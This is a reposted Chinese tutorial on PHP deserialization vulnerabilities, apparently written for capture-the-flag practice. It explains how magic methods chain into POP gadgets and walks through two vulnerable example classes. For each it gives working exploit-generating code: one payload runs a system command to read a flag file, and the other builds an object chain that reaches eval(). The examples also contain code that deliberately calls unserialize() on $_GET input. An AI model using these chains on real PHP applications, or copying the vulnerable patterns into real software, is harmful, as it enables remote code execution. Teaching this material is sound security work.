首页 > 编程语言 >【web]-php反序列化-复杂1(转)

【web]-php反序列化-复杂1(转)

时间:2024-07-18 15:28:14浏览次数:20  
标签:__ web php function 调用 序列化 public nice

转自: PHP反序列化-CSDN博客

反序列化漏洞是基于序列化和反序列化的操作,在反序列化——unserialize()时存在用户可控参数,而反序列化会自动调用一些魔术方法,如果魔术方法内存在一些敏感操作例如eval()函数,而且参数是通过反序列化产生的,那么用户就可以通过改变参数来执行敏感操作,这就是反序列化漏洞。

方法论:起点(魔法函数),终点(执行、危险函数),跳板

1、反序列化的常见起点:

(1)__wakeup 一定会调用

(2)__destruct 一定会调用

(3)__toString 当一个对象被反序列化后又被当做字符串使用
2、反序列化的常见中间跳板:

(1)__toString 当一个对象被当做字符串使用

(2)__get 读取不可访问或不存在属性时被调用

(3)__set 当给不可访问或不存在属性赋值时被调用

(4)__isset 对不可访问或不存在的属性调用isset()或empty()时被调用,形如 t h i s − > this-> this−>func();

(5)__call 调用不可访问或不存在的方法时被调用
3、反序列化的常见终点:

(1)call_user_func 一般php代码执行都会选择这里

(2)call_user_func_array 一般php代码执行都会选择这里

(3)执行指令、文件操作、执行代码等敏感操作

<?php
class kaiser {
    var $a;
    function __construct() {
        $this->a = new Test();
    }
    function __destruct() {
        $this->a->hello();
    }
}
class Test {
    function hello() {
        echo "Hello World.";
    }
}
class Vul {
    var $data;
    function hello() {
        @eval($this->data);
    }
}

$k = new kaiser();
$v = new Vul();
$k->a = $v;
$v->data = 'system("type flag.txt");';

$c = serialize($k);
echo $c;
#如果使用private定义 poc则需要url编码
$d=urlencode($c);
unserialize($c);

?>

我的做题思路可能有问题,都是在源代码上修改,可以简化为:

class kaiser {
    private $a;
    function __construct() {
        $this->a = new Vul();
    }
}
class Vul {
    protected $data = "phpinfo();";
}

echo urlencode(serialize(new kaiser()));

//********************************************??????????????/

复杂一点的例子:

<?php
class Tiger{
    public $string;
    protected $var;
    public function __toString(){
        return $this->string;
    }
    public function boss($value){
        @eval($value);
    }
    public function __invoke(){
        $this->boss($this->var);
    }
}
class Lion{
    public $tail;
    public function __construct(){
        $this->tail = array();
    }
    public function __get($value){
        $function = $this->tail;
        return $function();
    }
}
class Monkey{
    public $head;
    public $hand;
    public function __construct($here="Zoo"){
        $this->head = $here;
        echo "Welcome to ".$this->head."<br>";
    }
    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->head)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}
class Elephant{
    public $nose;
    public $nice;
    public function __construct($nice="nice"){
        $this->nice = $nice;
        echo $nice;
    }
    public function __toString(){
        return $this->nice->nose;
    }
}
if(isset($_GET['zoo'])){
    @unserialize($_GET['zoo']);
}
else{
    $a = new Monkey;
    echo "Hello PHP!";
}
?>

POP调用链分析
1、确定终点

经过详细分析,目标调用存在于Tiger类的boss方法中,只要能够构造出boss方法的参数值为一条序列化字符串的PHP代码,即可完成。
2、寻找起点

通常反序列化过程中,必然会被自动调用的是__wakeup 和 __destruct 两个魔术方法,所以寻找上述代码中的起点,发现只有在Monkey类中存在__wakeup,那么就暂时先以Monkey类作为起点,进行反序列化操作,但是是否能达到终点并不完全确定,如果最终无法到达终点,那么我们就必须要继续寻找新的起点,或者是评估调用链是否正确。
3、确定$this->head

在Monkey类的__wakeup魔术方法中,使用了preg_match函数进行正则匹配,也就意味着第二个参数 $this->head 必须是一个字符串。从Monkey类中可以看到,$this->head的值可以来源于构造方法,默认值为 Zoo,但是这样使用显然不可能,因为反序列化的时候,是不会调用构造方法的。那么所以只能换一个方向来思考,$this->head如果是一个对象呢,当把一个对象当成字符串处理时,会触发__toString魔术方法,这条路也许可行。
4、确定__toString所在类

现在有两个对象有tostring方法,分别是Elephant和Tiger,选择哪个呢,我们的目的是进入boss函数执行命令,可以看到Tiger的tostring方法只是返回一个变量没啥用,所以就选择让$this->head = new Elephant();,此时会执行$this->nice->nose;
5、确定$this->nice

在Elephant的构造方法中,也存在对$nice的赋值,但是这类操作并没有实际价值,因为我们的目标是要想办法进行跳转,要一步一步跳转到别的类当中去执行代码,进而最终到达终点。目前还剩下Tiger的__invoke和Lion的__get没有进行跳转和调用,那么首先需要知道这两个魔术方法的触发条件:

(1)__invoke:当以函数方式调用对象时被调用,也就是类似:$a = new A(); $a();这种调用方式时触发

(2)__get:读取不可访问或不存在属性时被调用

那么我们来分析一下,$this->nice为哪个对象时,可以继续往下走。显然,此处不可能有条件能够触发到__invoke,那么只能选择触发__get,于是令$this->nice = new Lion(),而Lion类并没有属性nose,所以完成对Lion类的__get的触发
6、确定$this->tail

当跳转到Lion类的__get方法时,此时我们看到两个特征,第一:在返回一个函数,那么这很有可能为下一步准备以函数方式调用对象做了铺垫,即可以触发Tiger类的__invoke方法,目前看起来也许前面的POP正确性比较高。第二:需要确定$this->tail的值,那么按照这个设计来看的话,此处应该令$this->tail = new Tiger(); 是很有可能正确的。这个时候$function就是Tiger对象,而下一步的代码return $function();恰好可以印证这一点,实现了对象的函数式调用,进而触发Tiger类的__invoke魔术方法。
7、确定$this->var

进到Tiger类的__invoke魔术方法中时,直接看到了调用$this->boss()方法,已经快到终点了,所以此时,只需要确定$this->var的值便可以完成调用链的构造了,此时问题变简单了,只需要令$this->var = phpinfo();即可完成构造。
8、以终为始

上述分析过程,是以起点开始的,而往往起点通向终点的过程并不一定非常顺利,所以也可以将分析过程反过来,以终点开始,逐步推向起点,效率也许会更高。如果倒推,顺推都是一条路径,那么足以说明POP链是完全正确的。
——————

class Tiger{
    public $string;
    protected $var = "phpinfo();";
}


class Lion{
    public $tail;

    function __construct() {
        $this->tail = new Tiger();
    }
}

class Elephant {
    public $nose;
    public $nice;

    function __construct()
    {
        $this->nice = new Lion();
    }
}

class Monkey{
    public $head;

    function __construct()
    {
        $this->head = new Elephant();
    }
}

$m = new Monkey();
echo urlencode(serialize($m));

总结

(1)先要确定起点和终点,如果起点有多个,那么就去尝试最有可能进行相互跳转的一个,起点和终点无法确定,POP链不可能成功。

(2)一定要牢记不同的魔术方法的自动触发条件,如果不太熟悉,则做实验证明,然后理解它。

(3)自动触发的跳转过程,会不停地给类变量(属性)赋值,一定要知道该赋什么样的值,通常的值都不会是普通类型,而是对象。

(4)POP链的分析和构造过程,可以完全忽略非魔术方法或也链条无关的方法和属性。

(5)POP的核心在于属性,而不是方法,序列化和反序列化的核心也在属性,而不是方法,所以方法对我们构造POC是无意义的。总结

(1)先要确定起点和终点,如果起点有多个,那么就去尝试最有可能进行相互跳转的一个,起点和终点无法确定,POP链不可能成功。

(2)一定要牢记不同的魔术方法的自动触发条件,如果不太熟悉,则做实验证明,然后理解它。

(3)自动触发的跳转过程,会不停地给类变量(属性)赋值,一定要知道该赋什么样的值,通常的值都不会是普通类型,而是对象。

(4)POP链的分析和构造过程,可以完全忽略非魔术方法或也链条无关的方法和属性。

(5)POP的核心在于属性,而不是方法,序列化和反序列化的核心也在属性,而不是方法,所以方法对我们构造POC是无意义的。
————————————————

                        

标签:__,web,php,function,调用,序列化,public,nice
From: https://blog.csdn.net/mails2008/article/details/140511901

相关文章

  • 实现基于Spring Boot和WebSockets的实时通讯应用
    实现基于SpringBoot和WebSockets的实时通讯应用大家好,我是微赚淘客系统3.0的小编,是个冬天不穿秋裤,天冷也要风度的程序猿!实时通讯应用在现代互联网服务中越来越重要。使用WebSocket可以实现客户端和服务器之间的双向通讯,从而大大提高实时性。本文将介绍如何使用SpringBoot和Web......
  • Socket、WebSocket 和 MQTT 的区别
    Socket协议定义:操作系统提供的网络通信接口,抽象了TCP/IP协议,支持TCP和UDP。特点:通用性:不限于Web应用,适用于各种网络通信。协议级别:直接使用TCP/UDP,需要手动管理连接和数据传输。实现复杂性:需要编写代码处理连接、数据传输和错误。使用场景:实时通信(聊天应用)、文件传输......
  • buuctf-web 解题过程
    [SUCTF2019]UploadLabs2源码//admin.php<?phpinclude'config.php';classAd{public$cmd;public$clazz;public$func1;public$func2;public$func3;public$instance;public$arg1;public$arg2;publ......
  • Symfony框架详解:构建高效、可维护的Web应用
    引言Symfony是一个由SensioLabs开发并维护的PHP框架,遵循MVC(Model-View-Controller)设计模式。它不仅提供了一系列强大的工具和功能,还能通过其组件(如HttpFoundation、Routing、DependencyInjection等)单独使用。Symfony的设计目标是让开发者能够高效地构建高质量的Web应用程序,同......
  • yearning订阅webhook发送到企业微信个人或群(思路)
    yearning的默认webhook格式支持钉钉,默认格式不支持企业微信。本文的目的是讲工单流程节点变更通知到企业微信个人或群。本文假设读者已具备以下技能1、pythonflask2、企业微信接口对接1)到群比较简单,直接转到指定URL即可2)到个人,需要脚本内换access_token,并且需要有效......
  • ctfshow web入门 xss web327--web333 存储型和七七八八的
    存储型漏洞web327这道题貌似和反射型的xss差不多,直接打就行web328body和svg的好像不行<script>window.open('http://ceye地址/'+document.cookie)</script><script>window.open('http://hrcgnc.ceye.io/'+document.cookie)</script>先注册,密码多于6位很明显在这......
  • [MRCTF2020]Ezpop(反序列化)
    打开题目即可得源码Welcometoindex.php<?php//flagisinflag.php//WTFISTHIS?//LearnFromhttps://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95//AndCrackIt!classModifier{protected$var......
  • PHP高性能递归函数
    一个递归方法functionorganizeRecords($regions){$organizedRegions=[];foreach($regionsas$region){$organizedRegions[$region['id']]=$region;$organizedRegions[$region['id']]['chi......
  • 深入浅出Spring Web MVC:从零开始构建你的第一个Web应用
    深入浅出SpringWebMVC:从零开始构建你的第一个Web应用大家好,今天我们来聊聊SpringWebMVC,这是一个非常强大的框架,用于构建JavaWeb应用。我们将从零开始,逐步构建一个简单的Web应用,帮助大家理解SpringWebMVC的核心概念和使用方法。什么是SpringWebMVC?SpringWebMVC是Spri......
  • php连接sql server 2014踩坑及处理记录
    1.PDOException:SQLSTATE[42S02]:[Microsoft][ODBCDriver17forSQLServer][SQLServer]对象名'dbotest'无效。 使用thinkphp/laravel连接sqlserver提示上述错误,检查为设置了数据库前缀dbo,取消后读取正常,sqlserver2014中表名前会自动加dbo,无需设置数据库前缀dbo,在SQ......